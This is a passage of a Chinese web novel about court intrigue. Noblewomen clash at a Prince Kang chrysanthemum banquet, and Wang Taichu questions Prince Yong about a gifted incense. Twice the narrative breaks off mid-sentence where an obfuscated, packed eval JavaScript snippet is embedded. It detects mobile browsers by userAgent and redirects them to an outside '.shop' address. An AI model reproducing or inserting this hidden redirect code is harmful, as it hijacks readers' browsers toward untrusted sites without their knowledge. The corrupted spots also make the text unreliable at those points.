说话的是辛芷绮，是兵部职方司郎中辛起山之女，照理说一个区区正五品官员之女在万安城内是混不上和周元月这样的姑娘站在一起说话的。但奈何这个辛芷绮虽只是五品官的女儿，出手却相当阔绰，硬是靠着自己的钱袋子买通了这条通往万安城内最富贵女子圈子的道路，甚至有的时候也因为她钱帛的力量她可以如此这般哪壶不开提哪壶。 洪婕此时正在认真地投壶，这个时间原本应该是可以去花园赏菊的，但无奈说是今日太子殿下要来，所有的宾客也只能干等在前院。洪婕是刑部尚书洪保之女，平日里对万安城内贵女们之间的勾心斗角也是耳濡目染，但向来都是明哲保身置身事外，却没想到今日这火是要烧到自己身上了。 她确实在近日去过香铺子取香，万安城的王公贵族之家向来都有私人定制专用香味的传统，她也是觉得前批次的香粉太过浓烈去铺子里调整了一些比重，却实实在在没有见过那王家明州来的姑娘。 她刚想出口反驳，却没料到，郑思玥先开了口：“什么钟灵毓秀，国色天香，这世间难道还有人比得了我元月妹妹吗？” 郑思玥向来都是周元月身边那个最善于阿谀奉承的人，可能这次也只是想找个由头说上几句好听的话，这样的场景洪婕见得多了，她就没再搭理，接过侍从手中的箭又开始玩了起来。 她怎么也不会想到，今日郑思玥的话语里会有别的动机。 “姐姐笑言，就像今日赏花一般，姐姐喜好桃花菊，妹妹我钟情万龄菊，婕儿妹妹根本不爱赏菊，都是各自的喜好罢了。”周元月虽然娇气，但却也并不是完全不谙世事之人，你的父亲前脚刚把通政使的职位丢了，你后脚就来我的面前嚼舌根，这样的巧合难道会无关前后。 “妹妹说的是。”郑思玥也并未真正见过王太初，也只是有所听闻，中间如若有夸张修辞，添油加醋的形容也不无可能，便没再揪着这个话题再说下去。更何况这样挑拨之事只要点到为止就可，多言反而觉得刻意。 周元月也是如此思量，这世间的女子千千万，能美过她的能有几人，再说了她的身份出身摆在那里，这万安城内又有几人能与之堪比，何苦现在自乱了阵脚。她笑着轻摇了几下扇子，便拉过辛芷绮的手腕开始欣赏她新买的镯子，谈笑着也没人再说起王太初。 只是她们都没想到，这世间还有王太初这般女子，她跟着江音如入府之时，几乎吸引了全场的目光，就连还在跟投壶较劲的洪婕的目光也止不住地被吸引。钟灵毓秀难摹其韵，国色天香未绘其神，便是那短短几步，便是所有华美辞藻都要自惭形秽的惊鸿。 虽是精心装扮过，饰品胭脂却未能喧宾夺主，进了府门在跟主家行礼以后，她便将目光落在了女眷这边，巡视一番之后直勾勾地盯着全场最是盛气凌人的周元月，丝毫没有初来乍到的小心和谨慎。 江音如原本在万安城的女眷圈子里便不受欢迎，怕自己的身份影响王太初在万安城的交友，只是吩咐了几句以后，便找几个平日里相熟的女眷聊天去了。她清楚的知道这些万安城内的大小姐，是看不上她这个经营酒楼的继室的，即使她们也时常光顾她的酒楼，有的也常吃了饭不掏钱，但在这样的场合见到自己她们却总是趾高气昂的。 王太初可不在乎这些，她丝毫没有初出茅庐的唯唯诺诺，当然她也不知道自己的登场已经成为了全场的焦点，成了同龄女性的假想敌。 人就是这般，没看见的时候，可以心胸宽广落落大方，当威胁真的来到自己跟前的时候，那些伪装就都会被撕碎。 一朵开得极盛的花，是不能被放在花园里的，因为它会吸取别人的养分，夺走别人的目光。 “这位定是通政使家的姑娘了吧。”周元月努力克制着自己的情绪，万安城的贵女向来以她为首，如果眼前的这个人愿意屈居在她之下，她也是可以好生说话的。 “王家太初，请问各位姐姐妹妹闺名如何。”王太初照着言妈妈出门前的吩咐施了一个万福礼，态度也还算恭敬，但是她的问题确是十分刁钻。 镇西都督之女周元月，通政使司左通政之女郑思玥，这种前有身份后有名字的介绍方式才应该是万安城内的标准。但眼下，问的人只道了自己是王家太初，总不能你来一句镇西都督之女周元月，通政使司左通政之女郑思玥，那岂不是显得自己太过在于身份，失了体统。 一时之间周元月和郑思玥都愣在了一边，不知如何回答。 “洪家洪婕。”洪婕先反应了过来，回了一个万福礼介绍到自己。 “辛家辛芷绮。”辛芷绮跟着也蹲了一个万福礼，她倒是没有犹豫，毕竟自己爹这个五品的小官在王太初面前占不到任何的便宜。 周元月和郑思玥像是反应了过来，也自报了家门。 王太初充分明确自己此行的目的，在行礼之后便拉着沉水退到了一边，丝毫没有想要跟周元月继续攀谈的意思，这可是把周家的大小姐气了个够呛。 “姑娘怎么不跟这几位小姐多说上几句，说不定那四和香的主人就在其中。”沉水看了一眼在不远处的周元月，觉得相貌不凡，仪态翩然，是可以到让自家的公子移情别恋的程度。 “这几人都不是，你说她都知道给我送香了，定是想要从我这里听到些好听的话说于哥哥 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“和乐楼？”王太初举止身形自是没话说，父亲哥哥也是朝中重臣新贵，但继母江音如确是她的软肋。聪明如周元月自是听出了郑思玥话中的言外之意，见身边的洪婕和辛芷绮还在一边投壶，怕她们听不见便佯装不解地又重复了一声。 “是呀，和乐楼。正好王大人的夫人正在不远处，我们过去先约个时间让王夫人给我们安排个雅间，省得小厮再跑一趟，这样多便捷。”郑思玥见周元月没有反对，便继续顺着往下说道，边说着边拿过周元月手中的箭递给洪婕，拉着她就往江音如的方向去了。 江音如此时正站在一旁听着夫人们闲聊，多数的时候她是不插嘴的，虽说自己的夫君现下正是太宗眼前的红人，但是她知道以她经营酒楼抛头露面的身份，是不受这些万安城内的命妇们欢迎的，所以这样的场合她的策略一直都是只陪笑少说话。 “王夫人，听闻最近和乐楼上了不少时令的菜肴，可否帮我们定上一个雅间。”郑思玥声音洪亮，巴不得在场所有的人都能听得一清二楚。 这一声也确实是有效果，原本还在闲扯的命妇们顿时没了声响，不远处的官人们也朝这边侧目。 江音如的身份大家自然是清楚明白的，平日里即使是瞧不上看不起，碍于王抃的面子顶多也就是私下里议论一番，从来不会在这样的场合点破。 “郑姑娘随时过来就是。”江音如满脸羞得通红，这种没有准备就被揭开底子的情况，让她无所适从。 “前几日路过和乐楼，原本想要进去，却不曾想，正好遇到几个醉酒闹事的赤膊醉汉便也只能作罢。”郑思玥像是还没有过瘾，继续高声说着。 喝酒闹事的酒楼，一桩朝廷命妇的生意，这钱在万安城其他贵女命妇的眼里赚得确实是不入流。 周元月站在郑思玥的身侧，静静地看着江音如的脸色变了又变，不远处被人群包围的王抃和王绍安还在跟同僚们讨论着什么，王太初也只是站在树下，盯着王绍安的方向，不为所动。 等郑思玥的第二声高调再起的时候，王太初才被沉水提醒着注意到了江音如这边的动静。 她三步并作两步小跑着过来。 7. 第二章 重阳花会（三） “母亲。”王太初挽上江音如的手，向周围的人行礼以后继续说道，“此处无端吵闹可是碰到了什么蛇虫鼠蚁，立秋之后他们最不老实了。” 言妈妈跟王太初说过江音如在万安城内的处境，仅仅只是凭着郑思玥的一句话，她就知道了来者不善，当然她并不知道，这些举动都是为了敲打她。 “妹妹误会了，我们只是想着和乐楼有新上的菜色，想让王夫人给我们安排个雅间。”郑思玥没看出来王太初竟是一个不好惹的角色，自己也只是拐弯抹角地说了两句，她竟然将自己比作蛇虫鼠蚁。虽然生气，但是这样吆五喝六的已经丢了自己的身份，在这样的场合如若碰到一个不怕死的，她还能说自己来自明州，是乡野之女，自己这个万安城的姑娘，怕是会真的丢了面子。 在不知道对方的战斗力之前，郑思玥想着不如退一步算了，却不曾想，现在周元月不愿意了，蛇虫鼠蚁中岂不是也有她。她在身后轻轻推了推郑思玥，意思很明确，既然开始了发难，这个时候就不能败下阵来。 “郑姑娘大驾光临，我们和乐楼自是要妥善安排的，名贵时新的食材我们都会准备齐全，再者郑姑娘身份贵重，自然不希望被那些个喝酒闹事的赤膊醉汉打扰，您选个日子，我们那日就不再接别的食客了，只做你的生意。只是都是买卖做生意的，也劳烦姑娘把这包圆的钱付了就是。”王太初知道和乐楼在万安城内的生意不小，每日也是门庭盈客，现在听着怎么着都是郑思玥吃了亏。 而郑思玥只能呆站在一边，一时之间也没了办法。不是这包圆和乐楼的价钱她郑思玥付不起，只是郑家的姑娘，奢侈无度的名声她承受不来。 这时远处的王抃和王绍安也注意到了这个插曲，原本姑娘家的拌嘴作为长辈和男丁的他们是不应该插嘴的，但是看着江音如涨红的脸，王抃一时也顾不上那么多了，作揖以后就想往那边走，却被王绍安拉住。 “太初不会让自己吃亏的，父亲若是过去了，总归是要责怪她几句，儿子倒是觉得这事太初没错，父亲何不如同我一起在这里看着就是了。”王绍安最是了解自己的妹妹，他和父亲如果过去帮衬，无非也只能是假惺惺地教育王太初几句平了这场风波，但是这件事情太初并未做错什么，在是非对错已明的情况下，他不想做那个迂腐的书生。 “妹妹何必如此咄咄逼人，我也只是想让王夫人定个雅间罢了。”郑思玥见好些时候大家都没有要给她台阶的意思也只能开始收起锋芒装起柔弱，让本就话语间不客气的王太初显得更是咄咄逼人。 这一招以退为进，的确是现下最好的方法，顺便再次提起江音如，把王太初此时的刻薄往江音如的出身上引。 这一次倒显得王太初变成了恼羞成怒小家子气了。 只是她没料到，王太初一招釜底抽薪便破了此局，她根本不在乎什么出身，她读圣贤书，也知君王恩，却也是市井中人。 她知道江音如此时的处境，王太初拉住了她的手，对着众人作揖说道：“小女王家太初，同哥哥王家绍安自明州而来，在万安城几日承蒙各位厚爱，为答谢各位大人夫人，原本应在自家府邸请四司六局设宴款待。但正巧小女的母亲是和乐楼的东家，和乐楼在明州城也是颇有名声，想必各位也曾莅临光顾过，所以小女斗胆劳烦母亲，在和乐楼设下宴席，以答谢各位厚爱。” 江音如强忍着眼泪点着头，万安城内她有着自己的营生，本就不该受此侮辱，她青睐于王抃的才学嫁给他，但她也是这万安城内名声在外的和乐楼的东家，她不应该受这些食着丈夫父亲之禄的十指不沾阳春水的女人们的气。 “郑姑娘所求的时新菜色，届时也会安排上，到时候姑娘可一定要赏光呀。”王太初坦坦荡荡地冲着郑思玥咧嘴笑道。 “那就劳烦母亲了。”王绍安趁着这个时候也上前对着江音如行了一个大礼。 朝堂上炙手可热的王绍安都如此孝敬自己的这个继母，旁人又有何可说的呢？也只能纷纷上前跟王抃行礼答应前往，客套的还说上几句夸奖王太初和王绍安的话。 郑慎行刚在通政使司通政使的位子位子上败给王抃，这次的赏菊大会托故在家没有前来，竟不知自己的女儿给他捅了一个这样大的篓子。 郑思玥自是知道自己此次输得凄惨，她怯生生地看了一眼身侧的周元月，只见她虽是脸上堆着笑，眼神确是冰冷的。 “如此的热闹我定也是要凑上一凑的。”康王府此时的关注都放在王太初这边，丝毫没有注意到太子刘聿恒已经在大门口站了许久。 众人见到门口的太子纷纷行跪拜大礼，王太初见状也跟着跪下。 “来得早不如来得巧，竟正好能赶上王大人的宴席。”刘聿恒抬手让各位起来。 在明州之时，王太初早就对这位太子的仁孝天植、谦抑朴实有所耳闻，那日在城门口他故意为人群慢下的马速也给王太初留下了不错的印象。今日刘聿恒穿着一身淡雅的常服，只在腰间挂了一枚玉佩，更是一副翩翩君子之态。 “太子殿下见谅，小女初来万安城，不懂规矩，多日来受到大家的照顾也不知如何报答，也只能想到请客吃饭这样的庸俗之法，还望太子见谅。”王抃上前一步答话，正欲抱拳行礼，被刘聿恒双手拖住阻止。 “王大人此言聿恒便不能苟同了，民以食为天，本太子早就听闻万安城的和乐楼闻名遐迩，一直未有机会前往品尝，此次正好托了王姑娘的福，也让我这个孤陋寡闻的开开眼界。”刘聿恒身为大庆的太子自然是各色山珍海味，八珍玉食都见过的，即使在外人眼中他一直是一个克勤克俭的帝国继承者，但和乐楼的吃食再是独具匠心在他眼中恐怕也只是小打小闹，今日他这样的说辞无非是为了给王抃面子，也顺便给大家台阶下。 “听闻皇叔今年张罗着家里的管事搜罗了不少的菊花品种，夸口说好些都是我们未曾见过新培育的，我倒是要看看眼界。”说罢，刘聿恒就转身向康王问起菊花的事情，轻轻巧巧就化解了这场康王府的小风波。 “太子随我去看看便知，恐怕宫中也没臣这里的品种呢。”康王爷行礼向刘聿恒让出了通往后院的路，伴在其身侧信誓旦旦地说道。康王爷向来最是亲和，原本重阳节赏菊是雅致之事，却不想几个女娃子闹起了不快，正愁着不知如何收场，好在自己的这个皇侄子来得巧，要不然还真的不知道该如何收场。 郑思玥挑起的风波在刘聿恒轻描淡写的话语中被轻轻带过，众人也纷纷跟着刘聿恒朝花园的方向走去。 王太初被这么一闹，没了兴致，原本她对这样赏花赏月的活动就没什么兴趣，看样子那个四和香的主人也定是不会来了，毕竟这万安城除了皇帝，总不能有人比当朝太子来得还要迟吧。 她刚想跟江音如扯谎说自己身子不适想要回府，却不曾想今日康王府的细还没有唱完。 康王府的门卒尚未来得及通报，一道慵懒的笑骂声已穿透照壁：“皇叔今日花宴的帖子怕不是被我家小厮给弄丢了吧，还是说皇叔怕我把康王府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16156323|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那几株独一无二的菊花给偷了去呀，才没给我下帖子。” 听闻此言，去花园的官员都停下了脚步，就连打头的太子和康王也驻足转过身来。王太初顺着声音寻去只觉得来人飞扬跋扈，话语间也是盛气凌人的样子。 只见来人身着一袭黑底枣红色祥云纹锦袍，珠玉玲琅缀满身侧，挑眉冷笑间，恍若要把日光都揉碎在眉眼和华服之间，绕过照壁以后便斜倚其上，含笑等着大家的反应，就好似看戏的看官一般。 “贤侄可是折煞了皇叔，近日臣每每入宫面圣，皇兄都在贵妃娘娘处，想来怕是皇嫂有恙，殿下需要侍奉塌前，此次便没让小厮往雍王府递帖子。”康王刘骁边解释边三步并作两步上前。 “就是有天大的事情也不能耽误赏花不是，更何况是皇叔重阳节的菊花宴。”刘聿洵直起了身子，笑着拍了拍刘骁的手臂，但是脚步确是一丝也未动。 赖长兴在登闻鼓前因弹劾刘聿洵被当众射杀，即使没有证据能证实是雍王所为，但也总归是跟他刘聿洵脱不了关系。即使太宗欲行冷缓之策，使大事化微，小事化弭，在朝堂之上掩盖过去，但是在士大夫之间却早已是将这个恶果判给了刘聿洵。 “哈哈哈，贤侄喜欢就好，正好今年我特意培育了几株菊花，保证贤侄从未见过，来来来正好同我一起欣赏一番。”刘骁侧身为刘聿洵让出了路，但是眼前这位富贵皇子却依然不为所动，只是直勾勾地看着太子的方向，只留下站在一旁的刘骁尬笑两声。 “近日来在朝堂上许久未有见皇弟，今日看来倒是消瘦了几分。”王太初顺着目光看向已站在入园口的刘聿恒，只见他攥着袖口的指尖微微发颤，盯着照壁处的雍王看了许久才喉头滚动招手搭腔道：“我还想着刚刚怎么没瞧见皇弟呢，原来是来晚了，既然到了就快快陪皇兄入园，没有我们聿洵赋诗这康王府的重阳花宴怕是也不完整。” 听闻此言，刘聿恒身侧好几个官员都开始叹气摇头，站在王抃近处的王绍安虽不似他人那般长吁短叹，但也不忍直视地闭上了眼睛，只有王抃似已经看惯了这些个皇子间剑拔弩张的场面，依然岿然不动。 到了这个时候原本刘聿洵见好就收、适可而止便能化解难堪，可偏偏这雍王还是不知足，依然站在原处未动一寸。 满院死寂中，王太初似乎能听见太子攥着袖口的手指因为用力发出的咯咯声，他怔杵在原地好一会，眼神里的坚定在寂静中涣散，像泄了气一般，从齿缝里挤出声音，玩笑地说道：“难不成还像小时候那样要皇兄去抱你过来？” 说着刘聿恒便向前走了两步。 “这就不劳烦皇兄了。”刘聿洵像是彻底得到了满足，挥了挥手让身边的近卫到廊下候着，施施然向太子的方向踱去。 王太初对太子和雍王在朝堂上的暗流涌动早有耳闻，入万安城那么久，正好碰到赖长兴之事，他们的关系更是闹得满城风雨街谈巷议，要想不知道也难。 刘聿恒十八岁便被太宗立为太子，许以帝国的继承权，理应是意气风发的，甚至也可以是骄奢跋扈的。但当太宗将藩王留京的特权许以雍王之时，万安城的风向就变了，帝国的继承之位也开始变得扑朔迷离。 王太初看着刘聿洵摇摇摆摆趋近然后随着太子走进园子，想到那日在王府门前的街巷上他骑马横冲直撞的样子，便抑制不住地翻了一个白眼。 她想着等这些皇亲贵臣们进了园子她就托故离开，但却在人群中闻到了那一抹似曾相识的味道，没错就是四和香。 8. 第二章 重阳花会（四） 此香浓烈张扬，即使是在人人用香的人群中，也能被轻易捕捉到。 王太初寻着香味的方向躲开人群寻去，在刘聿洵的身边停下脚步，用此四和香之人，正是雍王刘聿洵。 王太初原本就惹眼，刘聿洵自然是注意到了跟在他身后嗅着鼻子的王太初，他恶作剧一般停下了脚步，还在分析着到底是雍王府哪个姑娘招惹王绍安的王太初一个没留神，就结结实实地撞了上去。 她吃痛地捂住自己的鼻子，可眼前的人像是什么都没发生那般自顾自地踱步走了。 王太初回头寻了一会自家的哥哥，看到王绍安被朱昌颐拉着走在后头闲聊，倒也不像是跟刘聿洵熟悉的样子，就只能跟在刘聿洵的不远处找机会探问。 重阳节万安城内论起菊花来，皇宫内御花园属第一，剩下的便是这康王府了。 各色没见过的品种，各种新培育的颜色，硬是让康王府的花园像是重拾了春色一般。 刘聿恒的身旁围满了人，未来储君无论是在何处自是人群的焦点，加之刘骁为了避嫌，此次重阳花宴邀请的也都是平日里和刘聿恒相熟之人。王抃向来不爱凑热闹，原本站在人群的外围，被刘聿恒一句王大人博学定知其中奥妙便招到了身边。王绍安和朱昌颐倒是像对这满院子的菊花毫无兴趣，站在远离人群的地方已经论起了学问。 由于前阵子都察院突然集体上折子对雍王留京发难，赖长兴更是死在了登闻鼓前，虽然太宗只是将弹劾的折子‘留中’没有发表任何的意见，但是怕在这个时候得罪那些喜欢揪着人不放的言官，在场的文武大臣也只是向刘聿洵简单问了安行了礼以后都走到了远处，让刘聿洵落了单。而这位皇子也确实是个性格阴晴不定之人，此时也没了刚进门时的咄咄逼人，也没在意文武百官故意的冷落，反而倒是真的像是来赏花的，悠然自得地走在人群后面，等大家都品鉴完了以后，才凑近用手指掐着把玩，对于那些今年才别出心裁培育的颜色显得很是好奇。 “只是将白色的菊花养在颜色水中几日罢了，没什么好稀奇的。”王太初见人群走远，找到机会走到刘聿洵的身边，开口说道。 “原来如此。”刘聿洵原本还觉得新奇，被她这么简单一说就觉得没了意思，用帕子擦了擦掐过菊花的手，站直了身子，然后饶有兴致地回过身盯着王太初。 他没有再开口说话，也未有离开，只是等着她再开口。 刘聿洵自认自己同眼前的姑娘只是第一次见面，从未有过来往，但短短的时间内，算上刚才她跟在自己身后那次，这已经是第二次的有意接近了。 “在明州的时候，我用这个方法染过别的花，卖过大价钱。”王太初见眼前人似是不信，忙开口接着解释道。 她只是一味地想要查清楚究竟是刘聿洵身边的哪个姑娘给自己的哥哥送上的四和香，以便剪断他们之间的孽缘，却不知眼前的人却把自己主动的接近怀疑成了别有用心。 初次相见便出尽风头，夺人眼球，后又一而再再而三地刻意接近，这样的招式，刘聿洵那么多年在万安城内见得多了。要不是眼前的王太初是王抃的女儿，眼神也尚且清澈，他甚至连怀疑试探都不需要，可以直接归结于巴结皇子了。 “王姑娘有花要卖予我？”刘聿洵抬了抬眉毛，不知眼前人卖的什么关子，只能顺着她的话问道。 “不是，是有个消息要卖给雍王殿下。”王太初分析着眼前的人大概是不知道四和香的事情，皇子府里的女人，无论是谁，和外臣的儿子有什么接触，在万安城内一定都是不被允许的，轻则是败坏私德门风，重则也可以往结党营私上靠。 再说了四和香这样金贵的香粉也不是什么人都有机会获得的，能拥有此香说不定也是刘聿洵赏赐的，这样说来，告知刘聿洵此事，找人还更方便一些。棒打鸳鸯何苦要自己来，借着眼前现成的人不就行了。 “哦？”刘聿洵原本也只是顺着王太初的话头，听到她要卖的是消息，眉头便蹙到了一起。 “您弯下点身子。”王太初不知刘聿洵‘哦’中的深意，自顾自踮脚凑近刘聿洵的耳朵，也不知为何刘聿洵也配合地弯下了身子，“雍王殿下的府里，有女眷私会外男。” 刘聿洵听后，先是一怔，随后紧锁的眉头便舒展了开来，轻笑一声。 王太初没有料到对方会是这样的反应，她原本还在担心自己说出女眷私会外男这样的话会不会给那位四和香的主人找来什么祸事，甚至连请求谅解，将这责任全归结于自己哥哥这样的后招都想好了，却没想到对方竟是全不在意，甚至有些轻视。 刘聿洵望向王太初迷茫不解的眼神，他俯身去听的时候，真怕听到什么结党，什么营私之类的秘密。这样他就不得不去揣测，眼前的人是什么目的，背后的人又是什么目的。 进康王府之前，他听到过王太初在漩涡之中维护自己母亲的样子，他觉得她应该和万安城内其他的女子是不同的，或者他希望她是不同的。 他看着她渐渐蹙起的眉睫，眼睫在眼下投出蝶翅般的暗影，唇瓣轻轻抿成无辜的弧度，随后似又想到了什么，竟又自顾自生起气来。 “笑什么？难道殿下府中的女子私会外男不是打紧的事吗？”这万安城的规矩王太初显然是没有学好，她也不管眼前的是雍王殿下，恶狠狠地就剜了他一眼。 “确实紧要，那麻烦姑娘细说。”刘聿洵垂眸敛住眼底笑意，压低的声线裹着几分严肃说道。 “前几日安哥儿给我送来了一罐子用白瓷瓶装的四和香，虽然我初来万安城，但这几日也同母亲一起长了些见识，知道这四合香金贵，常人难嗅半缕，而且香材比重不同闻着也是全不相同。而安哥儿带回来的那四合香气却是和雍王殿下您身上的一模一样，所以我猜想这香定是出自您的府邸。”王太初虽也看出了刘聿洵的不甚在意，但既然话已经说到了这个份上，不摆些态度也是万万不可的，“不瞒您说，我家安哥儿在明州是有心上的姑娘的，虽未有父母之命，媒妁之言，但是却有我这个妹妹的见证，所以我想有劳三皇子帮忙劝着府里的姑娘，莫要浪费时间在安哥儿身上了。” “太初姑娘此言，莫不是嫌弃我们府上姑娘这溪间萍草配不上王大公子这高阁松枝。”刘聿恒见王太初表情认真，态度明确，更是想逗她一下。 “定然不是。”王太初见刘聿洵误会连连摆手，“三皇子府上的姑娘，定是万安城内数一数二的，只是凡事都要讲个先来后到，即使是郎情妾意也要等明州城内的事情说清楚了才行。既然此事有求于您，我也不好隐瞒，其实安哥儿在明州城的青梅竹马也不是什么官宦人家，所以我们王家定没您说的那般在乎门第桎梏，虚名俗利。” “王姑娘不必紧张，本皇子回去定会好好调查一番，届时再给姑娘一个解释。”刘聿恒看着王太初耳尖因为忙于自证情绪激张而泛起的薄红，心中竟有一丝愧疚如墨点晕开。他已经很久没有在万安城内看到过这么憨直但又率真的姑娘了。 他望着这抹澄澈，眼角笑意未散，唇角还噙着三分兴致，忽然想起暗流涌动的朝堂，他看了一眼围在刘聿恒和王抃身边的朝臣，哪一个不是在防范戒备、拉帮结派中生存下来的，那些吃人不吐骨头的阴谋诡计会在未来一桩桩一件件地用在王抃女儿的身上，她的赤诚相待不会成为她的护身符，反而可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16156324|180575||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会加速她的死亡，他注意到了自己心底浮起的那一抹隐晦的忧色，这是他不该有的恻隐之心，刘聿洵抬手轻轻揉了揉眉心，像是要将那抹忧色压回心底。 “但是太初姑娘可知，女眷私会外男的下场会是什么？”刘聿洵凑近王太初的耳边，收起原先的笑意压低嗓音冷冷地说道，“在雍王府那是死罪。” 他想告诉她，万安城内任何一句话都可能会是刺向他人的利剑，即使说者无心，但是听者但凡是有意，便可无中生有致人死地。 这已是刘聿洵所能表现的最大的善意，或许是因为王太初她那澄澈见底的眼神，他还想再留一些时日，没等王太初回应说完便自顾自地朝前走了去。 这下王太初更是慌了神，她的眼眸里闪过惊惧，让姑娘去死以斩断姻缘可不是她的目的。 “雍王殿下可千万不要怪罪那姑娘，都是我们安哥儿轻浮放浪，都是我们王家的错。”王太初追着刘聿洵说道。 原本刘聿洵也只是想简单给王太初上那么一课，告诉她在万安城内心直口快可不是什么好习惯，却不想王太初认真了起来追着他解释，甚至连王绍安轻浮放浪这样的话也说了出来，这可丝毫没有给他这个刚刚在朝堂上扬名立万的哥哥面子呀。 王太初见刘聿洵没有停下来听她解释的意思，情急之下一把拉住了他的衣袖，人命关天的事情，她也顾不上那么多了。 雍王刘聿洵在万安城一直都是征歌逐色之辈，他也一直是歌舞酒肆、勾栏瓦舍的座上宾，他对这些虚名并不在乎，可不知为何今日，王太初只是扯了一下他的衣袖就变成了他眼中要紧的大事。 他从王太初的手中扯走自己的衣袖，蹙眉对她说道：“知道了知道了，都是你哥哥的错，她不用死。” “雍王殿下说话可算数，要不你我立下字据。”王太初意识到自己失态，慢下来离开了刘聿洵一段距离，但嘴上似乎还是不信刘聿洵之言，追在背后确定。 “我既然说出口，就定能做到，如果我做不到，那即使是立下了字据，画了押我也可以反悔。” 王太初见他这句话倒是不像是假的，便宽下了心，跟着走在一边：“那雍王殿下接下来想怎么做？” “自然是找到她，让她离开你的哥哥。”刘聿洵漫不经心地回答到。 “四和香如此贵重，定不是旁的女使可以轻易获得的，雍王殿下再想想是不是赏赐给了些什么人？” “本皇子每日赏赐的物件多的去了，哪里还能记得？” “那要不我帮您去府上找找，我知道自己哥哥的喜好。”王太初见刘聿洵说得不算真诚，多有敷衍，陪着笑走上前几步，回眸盯着他的眼睛。 刘聿洵看了一眼执着的王太初，停下脚步答应道：“好，改日我下帖子找个由头邀请姑娘入府，到时你去找出来就是了。” 像是终于听到了满意的答复，王太初露出了笑容，冲他行了一个蹲礼。 刘聿洵没有告诉她，她从一开始就先入为主了，就像他正在使用那四和香一般，这四和香在万安城内并不是姑娘们的专利。 当然他也没有告诉她，他的四和香是中秋节时太宗所赐，一共只有有两罐，他有一罐，剩下的那一罐在太子那里。 刘聿洵看向被官员皇亲包围的刘聿恒眯起了眼睛，他终于还是对王抃下手了。 万安城内，朝堂之上，风谲云诡，没有人是局外人，任何人都可能沦为权力博弈的棋子。 只是刘聿洵自己也没有注意到，在众人将目光都投射在太子身上之时，也有人看到了他和王太初的私语，周元月笑盈盈地答着话，素手慢条斯理地抚过花茎轻轻折断。 9. 第三章 王家绍安（一） 从康王府赏菊归来以后，江音如便开始着手准备起了王绍安同王太初在和乐楼的欢迎宴。 和乐楼原本就是万安城内家喻户晓的酒楼，菜肴酒水都是万安城内的上品。但江音如似乎还不够满意，她先是找人重新搭建了彩楼欢门，甚至还重新购置了杯盏碗盖，样样件件都是自己亲自采买，忙得不亦乐乎。 康王府那一日，王家算是出尽了风头，虽然王抃深蒙皇恩，但是小小一个哥儿姑娘的欢迎宴能让当朝太子许诺参加在万安城内也是屈指可数。 王抃自小读圣贤书，以匡扶社稷、为国尽忠为己任，他从科考中举一路走来，起于州县，得入翰林，官拜通政使，走到今日，他当然见过各色各样的同僚，像眼前这样观人主趋而顺之者自然也不少，往日遇见往往一笑了之便可，今日却没想到，这帮人居然将自己的儿子王绍安卷了进来。 今日朝堂之上先是工部尚书李广泰敬呈了一篇民间关于水利营造工程的文章，表示阅之以后羞愧难当。 太宗刘祀觉得天下竟还有能让李广泰这样在治水领域自视甚高之人羞愧难当的文章，便觉得好奇，当朝就让内侍官将文章读了出来，其中关于如何加强河防管理，发展农田水利的新颖观点给朝上百官留下了深刻的印象。可行性固然还未通过实践考核，但是创新的思路确实能够看出此人对此研究颇深，并非凭空而言。 如此可堪国用的人才，自是引起了惜才如命的太宗的关注，当下便追问了文章的作者。 “此《大庆防河录》的作者正是通政使王大人的公子，王绍安。” 此言一出，朝堂上哗然一片，在此之前万安城内便已经有了王绍安的传言，在明州城内他著书立言，名重天下，即使是在看惯了人才神童的万安城他也是名声鹊起。 “李尚书抬爱，犬子班门弄斧罢了，上不得台面。”王抃上前一步向太宗行礼，又向李广泰行礼，自谦说道。 “王大人自谦，绍安名满天下，朕早有耳闻，也读过一两篇文章，今日得闻此篇文章，竟不知绍安还有如此治国之策，一定是王大人教得好。”太宗欣喜，他向来敬重王抃的才识，付之以朝廷之信任，如果王绍安如此之人也能为朝廷所用，定是他大庆朝廷之幸，也是大庆百姓之幸。 “治国之策愧不敢当，犬子顽劣，今日此文尚有多处不加证实的揣测，只是纸上谈兵的空谈罢了。”王抃向来对自己的儿女不加管束，自己远在万安城，本就对自己明州的一双儿女多有亏欠，能像现在这样让他们自由自在已是自己最为宽慰之事。 他当然知道王绍安的才华，也知忠君王，报天下一直是他的心愿。 但是他也知道，让王绍安犹豫不前的是什么，是这个官场，是这个朝廷，是结党营私、并不清明的环境。他不似自己从底层走来，在不知朝堂究竟为何物，朝臣究竟是何人之时，仅仅带着自己的满腔热忱以飘摇微尘之身前来。王绍安不同，他有自己这个爹爹告知其真相，所以他可以在深思熟虑之后，再做选择，而在此之前，他不希望自己的儿子被卷入朝局之中。 只是金鳞岂是池中物，一遇风云便化龙，他的才学见识，注定不能让他永居池底。 “爱卿此言差矣，治水之道向来都是摸象过河，绍安文中提及多处虽都是假设未被证实之策，但确也并非毫无依据，世间万事向来如此，假设实践，取精华去糟粕，这样方能成事。”太宗继续说道，“绍安如此学识，定要好生培养，日后考科举，入朝堂，父子两代人都为大庆天下百姓谋福祉，岂不是一段佳话。” 太宗刘祀自然不知道王绍安的心思，只是为自己的大庆又出了如此人才而高兴。 